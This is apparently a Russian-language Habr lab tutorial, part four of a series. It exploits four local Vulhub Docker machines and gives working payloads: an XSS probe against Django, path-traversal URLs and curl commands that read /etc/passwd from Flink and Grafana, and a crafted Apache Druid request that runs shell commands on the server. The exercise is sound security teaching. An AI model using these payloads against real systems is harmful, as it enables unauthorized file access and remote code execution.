Всех приветствую, читатели Хабра!

Четвертая часть анализа защищенности веб-приложений Vulnhub.

Ссылки на первые три части, советую ознакомиться (в первой части детально разбираю где скачать образы уязвимых машин, как их поднять на докер, и многое другое):

https://habr.com/ru/articles/894508/
https://habr.com/ru/articles/895092/
https://habr.com/ru/articles/895856/

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.

И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением.

Алгоритм атаки будет следующий:

Запуск виртуальной машины (уязвимого веб-приложения) в сетевом интерфейсе
Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели
Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации.

Теперь снова практика. В первом примере я вновь разберу как запустить виртуальную машину (уязвимое веб-приложение) на локальном хосте (хотя в моем случае это в основном бриджи).

1) Первая машина django, уязвимость CVE-2017-12794

Заходим в папку с уязвимым веб-приложением (тип файла *.yml), собираем образ, запускаем, смотрим сетевой интерфейс следующими командами в терминале (терминал должен быть открыт в этой же папке):

sudo docker-compose build sudo docker-compose up -d ifconfig

Сканируем цель

nmap 172.20.0.1

Заходим в браузере по адресу 172.20.0.1:8000 и получаем ошибку 404 (хотя приложение запущенно, это видно по интерфейсу веб-приложения)

К адресу добавляем строчку после ip:порта

/create_user/?username=

Сервер ответил

Теперь суть уязвимости. В адресной строке мы можем добавить код скрипта javascript в данном случае

<script>alert(1)</script>

После чего нажимаем enter и скрипт выполняется

Или вот пример

Теперь о том что я сделал. Я внедрил свой собственный код (или даже два) <script>alert(1)</script> в уязвимое веб-приложение, и приложение выполнило мой код. Естественно, что в данном случае код был безобидный. Но веб-приложение выполнило код, а злоумышленник может внедрить и вредоносный код. Такой тип атаки называется XSS.

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода». (https://ru.wikipedia.org/wiki/Межсайтовый_скриптинг)

2) Вторая машина flink, уязвимость CVE-2020-17519

Не забываем в предидущей диреткории в терминале "уронить" предидущие виртуальные машины (на бриджах в моем случае) командой в терминале:

sudo docker-compose down

В новой директории с новой уязвимой машиной собираем и запускаем образ (и для удобства смотрим сетевой интерфейс):

sudo docker-compose build sudo docker-compose up -d ifconfig

Сканируем цель

nmap 172.21.0.1

В адресной строке заходим по адресу 172.21.0.1:8081, видим веб-интерфейс

Далее к адресу добавляем строчку

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Или в моем случае:

http://172.21.0.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

После чего получаем доступ к файлу /etc/passwd уязвимой машины

Еще раз напомню, что доступ к вышеупомянутому файлу - серьезная брешь в безопаности веб-приложения. Повторенье - мать учения, как говориться: /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация)

Альтернативное решение

Я нашел и другой способ решения

Для этого в терминале я ввел следующую команду

curl http://172.21.0.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

И получил такой же вывод

3) Третья машина apache-druid, уязвимость CVE-2021-25646

Снова роняем предидущую виртуальную машину, снова собираем, запускаем новую виртуальную машину, проверяем интерфейс (все команды, и какие где необходимо ввести смотри выше, или в предидущих статьях).

Сканируем

nmap 172.17.0.1

Далее заходим в инструмент burp suite, заходим во вкладку Proxy, нажимаем "перехват" (кнопка синим цветом на скриншоте ниже), открыть браузер, в браузере в адресной строке вводим адрес 172.17.0.1:8888

Пакет перехвачен, отправляем его в репитер (правой кнопкой мыши нажимаем на пакет Send to repeater):

В репитере видим реквест

После чего реквест необходимо подменить вот таким содержимым:

POST /druid/indexer/v1/sampler HTTP/1.1 Host: your-ip:8888 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json

{ "type":"index", "spec":{ "ioConfig":{ "type":"index", "firehose":{ "type":"local", "baseDir":"/etc", "filter":"passwd" } }, "dataSchema":{ "dataSource":"test", "parser":{ "parseSpec":{ "format":"javascript", "timestampSpec":{ }, "dimensionsSpec":{ }, "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}", "":{ "enabled":"true" } } } } }, "samplerConfig":{ "numRows":10 } }

После чего отправляем, нажимая кнопку Send. И от сервера приходит ответ

В ответе находим вот такие строчки

Сервер вернул идентификаторы пользователей и групп, что также является уязвимостью.

4) Четвертая машина grafana, уязвимость CVE-2021-43798

Снова проделываем все те же действия - роняем старую машину, поднимаем новую, смотрим сетевой интерфейс.

Сканируем цель

nmap 172.22.0.1

Заходим в браузер по адресу: 172.22.0.1:3000

Видим веб приложение. Закроем браузер.

Теперь снова перехватим пакет с burp suite. Снова открываем burp вкладку прокси, нажимаем перехват трафика, открываем браузер вводим 172.22.0.1:3000, переходим в burp щелкаем правой кнопкой мыши по пакету, нажимаем отправить в репитер:

В репитере видим реквест

Подменяем его таким содержимым

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 172.22.0.1:3000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close

После чего отправляем запрос серверу (Send) и сервер отвечает:

Снова доступ к файлу /etc/passwd.

А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!

Атака на некоторые уязвимые веб-приложения Vulnhub. Эксплуатация уязвимостей. Часть 4